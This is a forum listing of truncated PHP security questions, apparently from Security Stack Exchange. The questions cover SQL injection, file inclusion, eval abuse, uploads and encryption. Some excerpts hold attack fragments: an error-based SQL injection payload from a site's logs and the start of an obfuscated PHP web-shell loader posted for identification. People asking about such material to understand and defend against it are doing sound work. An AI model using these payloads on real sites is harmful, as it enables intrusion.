Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
-1
votes
0answers
28 views

Can I execute code in this situation?

There is a code snippet like that in a php based web application. <form action="home.php?parameter=<?php echo $_GET['parameter'] ?>" method="post"> Can I execute arbitrary code using get ...
0
votes
0answers
34 views

DVWA - Browser cannot load c99.php [closed]

I am going through a few tutorial lessons on DVWA in order to reinforce web security concepts. (security setting = low) At the link below, we are trying to do the following (starting at section 11): ...
0
votes
1answer
49 views

Does hiding php error messages increase security of the web app? [duplicate]

Many PHP frameworks such as Codeigniter on production environment opt-out to hide any PHP related error message. Also, that applies on other PHP frameworks as well such as Symphony and Laravel (with ...
1
vote
0answers
82 views

How to abuse eval() in PHP

I'm trying to bypass a page that has an eval() and it works like this: POST /anything.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 ...
0
votes
1answer
81 views

Is there an advantage in removing an element both from CSS and JS?

I have a website built with MediaWiki CMS which I host on a CentOS based Apache "shared server environment" (SiteGround). This website contains a ContactPage contact form in which the subject field ...
0
votes
0answers
30 views

Determine the type of encryption used [duplicate]

I am trying to determine the type of encryption used for a site whose password is stored in the database. The site is built using the fuelphp. It has the password of the form (...
2
votes
2answers
105 views

SQL injection using URL query string (web application/php server)

Hacker is trying to attack the site by using the following SQL injection query to get the SQL version. Using URL site. example: www.abc.com/?queryParamString=(SELECT 9701 FROM(SELECT COUNT(*),...
1
vote
1answer
64 views

Protect public(?) API endpoints

I'm building a fairly simple web application at the moment but because I have plans on turning this into sort of a multi-project portfolio app, I've decided to decouple the back-end and the front-end. ...
1
vote
1answer
176 views

Possible to decode md5 hash of a malicious URL?

Context: I had a virus on my WordPress website server that injected itself into every functions.php file on the server across two different sites. After removing the heavily obfuscated virus code I ...
-2
votes
1answer
78 views

Prevent unauthorized download of files from a webserver [closed]

So i have a webserver and i would like to have users login and then be able to download an exe file directly from the webserver the issues with this is that users can easily download the file directly ...
1
vote
3answers
165 views

POST requests are bypassing PHP checks

I have a website with a contact form on PHP and a mail server. Email are sent with the help of PHP mail function like so $name = cleanInput($_POST["name"]); $e = $_POST["email"]; $email = filter_var(...
1
vote
1answer
118 views

How did a malicious website managed to serve me the app that is running on my local apache server?

Today I accidentally miss-typed a popular's website domain, which led me to a malicious website. I realized immediately but before I had time to close the tab, I was surprised to be presented with the ...
1
vote
2answers
75 views

PHP Local File Inclusion from URL; no param

The PHP code has a handleRoute($path) function that is triggered for URLs like server.com/routeme/a. Handle route has the follwing: if file_exists($path) then include $path. The $path argument is /...
2
votes
1answer
51 views

Should I hash session IDs before storing the session contents?

I am wondering if it is smart to hash my session IDs before writing sessions to the session storage, in order to prevent session ID disclosure. I am writing an application in PHP on top of the ...
0
votes
0answers
41 views

Can anyone identify the authentication backend used by a PHP website from the following URL?

Client POSTs creds, and if authenticated, server responds with a 302 redirect to an enormous path: https://phpwebsite.com/login/auth/[encoded_data] where encoded_data is either 811, or 726 ...
6
votes
2answers
256 views

Crack passwords hashed with PHP?

Is this the right way to crack a password hashed with PHP? I used the password_hash function to hash a password (PHP version 7.3). Then I created a word list using a Python script. It's around 1GB in ...
26
votes
5answers
7k views

How to deal with this fundamental problem with the advice: “Don't trust obscure PHP libraries that nobody uses!”?

Frequently, I'd say in virtually every case, there is only one PHP library for any particular problem. (I don't count obsolete, abandoned, trash ones.) Therefore, it's never a "choice" by me to use ...
0
votes
0answers
72 views

How to encrypt user files securely on the server with PHP

Description: I want to create an upload center for small files (word/excel/zip documents etc) with PHP. I want to protect files uploaded by user as much as possible, so if server is breached, ...
0
votes
2answers
118 views

How is data Encrypted and Decrypted from a database with PHP Sodium

I'm a PHP web developer who has been trying to learn and understand how to encrypt and secure the data stored on a database with PHP Sodium. In terms of security knowledge I am very new to the area ...
2
votes
1answer
78 views

Is this php smarty template statement a security flaw?

$smarty->assign("action", $_SERVER["PHP_SELF"]); PHP_SELF is set client side by the browser so it can be modified by an attacker. Is Smarty "action" assigned to the form action field? So can an ...
0
votes
1answer
87 views

How to validate file content in php?

We have developed an application with contain file upload functionality. We use that application for internal purpose only. We use core php language. We already use the below validations: File ...
3
votes
2answers
139 views

URL parameter manipulation and injection

I have a scenario with 2 sites. Site 1 is mysite.com and Site 2 is secondurl.com. Site 1 is using Wordpress. There, I did a Javascrit/jQuery routine that checks if a given url parameter comes in. If ...
14
votes
5answers
4k views

Should user input be validated for its length in PHP (server side) as a security measure?

It is important to note that this user input will undergo validation and sanitation using regex (on the server side in PHP) and then will be inserted into a database. Later it would be shown to other ...
1
vote
1answer
76 views

Is there any reason why PHP files require write permissions?

Is there any reason why PHP files would require write access? (Excluding directories that need to be writable) I'm installing Magento via composer. They recommend the following permissions: cd /var/...
10
votes
4answers
3k views

Encrypting email addresses in php

I'm building a website and am trying to figure out a way to encrypt the user's email addresses. It would be nice if, in case my database was stolen, the emails of my users weren't in plain text. I ...
3
votes
2answers
197 views

How can I inject real php code into this website?

So I found a file uploader on example.com. The file uploader accepts every file extension and the file is uploaded inside the directory /temp/random-numeric-id.php I tried to upload a php file and ...
1
vote
0answers
48 views

How to implement a “Forgot password?” functionality using php-encryption's KeyProtectedByPassword and 2FA?

I'm currently migrating the encryption functionality used in a PHP project from mcrypt (which was deprecated in PHP 7.1.x and no longer works from PHP 7.2 onward) to openssl, using the defuse/php-...
0
votes
1answer
103 views

How can this sql query be injected?

I've a php code where I get the page number from a GET request and then run a sql query to select records from the database by the page number $maxPerPage = 20; $page = $_GET["p"]; $applicants = DB:...
1
vote
1answer
47 views

How to test email spoofing with this php script? [closed]

I want to harden my SPF setting. However I have trouble testing my SPF setting. I want to be able send a test email to try out my new SPF settings. Most of the resource on internet seems to be use ...
1
vote
2answers
392 views

How to open a shell using LFI or RFI exploits?

I am completing some online labs to do with cybersecurity and I have been given the task of dealing with a virtual machine of kali linux, to access a basic ip for a website called "yellow". we access ...
2
votes
1answer
81 views

Secure GET-based remote API access via PHP

I am programming a way in PHP for my users to be able to access a remote API though my website. I was wondering if any of you had some input on whether or not this was secure (NOT considering any ...
2
votes
1answer
105 views

How exactly works this SQL injection example related to the DVWA application?

I am a software developer converting do application security and I have some doubts about SQL injection example. I am following a tutorial related the famous DVWA: http://www.dvwa.co.uk/ So I have ...
1
vote
2answers
96 views

what should be done to use sodium in a secure way?

Now, I've done some research by googling about the subject and reading the manual and read other topics about this at stackoverflow. But still I have a question about the security and secrecy behind ...
0
votes
1answer
98 views

Backend Authentication of Mobile App: Session ID vs. OAuth

Currently I am developing an iOS/Android app and a corresponding backend in PHP. In the last days I read a lot about user authentication and now I am a bit confused. For now I am using a session ID ...
1
vote
0answers
113 views

Best way to let 2 servers communicate (with PHP) avoiding IP Spoofing?

Let's say I have my ServerB that accept any request and it checks the PHPSESSID and compares the IP saved into the session (thanks to session values) with the IP that made the HTTP request. The IP ...
1
vote
1answer
49 views

Do PHP redirect information disclosure also apply to other languages or framework?

When redirecting using header("Location MyPage.php"); in PHP, any code present after will be executed. So, if you're using this as a way to avoid user accessing pages where they should be logged in, ...
-1
votes
1answer
88 views

What should I do about this unrecognized PHP process?

I'm hoping you might be able to give me some advice. I'm new to linux system administration so go easy on me :) Was doing some checks around the directory that's being served by nginx and noticed ...
3
votes
1answer
71 views

Protect page sms verification from spamming

I'm developing a merchant page where users can pay their bills. On this page, users must fill in their bank details (Card number, card holder name, expiration date, CVC). As a verification, we have a ...
2
votes
1answer
269 views

Server returns 403 when I try SQL injection

I am trying to pentest my friend's site. It is clearly vulnerable to SQL injection attack based on the error messages I get from entering different get parameters. Whenever I try very simple attacks ...
1
vote
0answers
67 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
2
votes
1answer
96 views

Is this schema between a Desktop App and an API secure?

From my previous question: How secure is this schema between a Desktop App (c++) and an API (php). Introduction I made a paid Desktop-app that required constant internet connection (because of its ...
1
vote
1answer
96 views

How secure is this schema between a Desktop App (c++) and an API (php)

as title says I'm writing a paid Desktop App that automates some process, it indirectly requires internet connection because MY app automates another Desktop app that requires internet connection. ...
0
votes
2answers
173 views

Why does php password_hash() generate different hashes for the same input? [duplicate]

I've been using password_hash('password', PASSWORD_DEFAULT) for an internal system, and while I was testing the code, I saw that it generated different hashes for the same input. Why does this ...
0
votes
0answers
43 views

user_roles getting deleted from wp_options table in wordpress

I would like some advice on how to troubleshoot a problem on Wordpress/Apache/PHP/MySQL I am looking at the following: select * from wp_options opt where option_name like '%wp_user_roles%' order by ...
3
votes
2answers
93 views

Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?

Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root. I have heard from various sources that trusting uploaded ...
1
vote
1answer
200 views

Is it possible to gain RCE from Arbitrary file write by an unprivileged user?

I am pentesting a PHP website running on Apache in a Ubuntu server. I found a vulnerability that allows me to write files to the target system. I know it's possible to write a php shell to the HTTP ...
0
votes
1answer
116 views

I saw a weird url in my logs, dunno how to proceed [duplicate]

I'm by no means a security expert. I own a very small personal site which I wrote in php mostly for practice and all that. I noticed a weird url call in my logs process.php?d=MV0f+F6R+6Nn/...
1
vote
1answer
113 views

File extensions that should NOT be allowed to be uploaded

I recently built a Downloads Manager that will debut though before I do so I want to know what file extensions I should explicitly disallow from being accepted? Running LAMP/WAMP the most obvious I'...
0
votes
0answers
55 views

How to Stop Cookies from Being Set

We're not using Adminer for database management yet for some reason adminer_sid & adminer_key cookies are being set in the browser - any idea how to stop them from being set? Where would they be ...
0
votes
2answers
199 views

Does it really improve security to update PHP interpreter version without any code changes at all?

Our hosting provider wants to update our legacy application server (Plesk). We usually place older PHP projects (PHP 5.3 - 5.6) there, so they can sit in a stable environment until their unknown EOL. ...